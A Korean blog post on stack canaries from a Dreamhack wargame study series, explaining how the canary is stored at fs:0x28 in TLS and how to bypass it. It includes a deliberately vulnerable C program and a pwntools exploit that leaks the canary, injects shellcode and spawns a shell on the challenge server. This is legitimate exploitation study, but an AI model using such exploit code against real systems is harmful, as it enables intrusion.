Stack Canary

동글래차·2023년 6월 14일
0

pwnable

목록 보기
7/9

1. Stack Canary?

Stack Canary란?

 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 
 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

2. Canary 적용 확인 실습

2.1. Code

  • dreamhack 제공 코드
#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}
  • complie

2.2. canary 적용 확인

- <main+8>  : rax = fs:0x28 //fs:0x28에는 canary 상수 값이 저장되어 있음)
- <main+17> : [rbp-0x8] = rax
- <main+50> : rdx = [rbp-0x8] // canary 값 rdx에 저장
- <main+54> : rdx - fs:0x28 // rdx - canary
- <main+63> : if(rdx - fs:0x28 == 0){jump <main+70>} // 아니면 계속 진행
- <main+65> : call < __stack_chk_fail@plt > // stack check fail

3. Canary 찾기

- 먼저 알아야 될 지식!!!

TLS란?
- thread의 저장 공간(thread의 전역 변수를 저장하기 위한 공간으로 Loader에 의해서 할당)을 의미
- 프로세스 실행에 필요한 여러 데이터가 저장됨
- init_tls(): TLS 영역 할당 및 초기화

3.1. fs:0x28 확인 하기

- fs의 값을 설정할 때 호출되는 arch_prctl 시스템 콜에 중단점을 설정하여 
  fs가 어떤 값으로 설정되는지 알수 있다.

  • init_tls()안에서 멈춤
  • RDI(0x1002): ARCH_SET_FS (프로세스의 FS 세그먼트 레지스터를 초기화하는 작업을 수행하는 명령)
  • RSI(0x7ffff7dc9740): fs가 가리킬 주소
  • fs:0x28은 아직 값이 없음
  • fs:0x28에 값이 쓰여질 때 확인되도록 watch 명령어로 point 설정
  • fs:0x28에 쓰여진 값 = canary

4. Canary 우회

4.1. TLS 접근

카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조한다.
TLS의 주소를 알 수 있다면 카나리 값을 읽거나 조작할 수 있다.

4.2. 실습코드

// dreamhack 문제
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);			// buf 주소 확인
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);									// 시나리오
  read(0, buf, 0x100);								// 1.overflow 시켜서 NULL byte 지우기 -> canary leak
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");								// 2. canary 포함시켜 buf로 return
  fflush(stdout);
  gets(buf);
  return 0;
} 

4.2. buf 계산 (문제에선 주어졌지만 공부할 겸 직접 계산함)

  • read 함수 호출 부분: buf=[rbp-0x60] = 0x7fffffffe190

  • canary 주소: [rbp-0x8] = 0x7fffffffe1e8
  • buf_size = 88
  • 88+1 = Null byte 삭제

4.3. exploit code

from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
context.arch = 'amd64'
p = remote("host3.dreamhack.games", 22017)
payload = b"A"*89
p.recvuntil(b'buf: ')						
buf = int(p.recvline(7), 16)				
slog("buf: ", buf)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
c = u64(b'\x00'+p.recvn(7))
slog('canary:', c)
sh = asm(shellcraft.sh())
payload = sh.ljust(88, b'A') + p64(c) + b'B'*0x8 + p64(buf)
print(payload)
p.sendlineafter(b"Input:", payload)
p.interactive()

4.4. 결과

  • 성공

profile
동글동글

0개의 댓글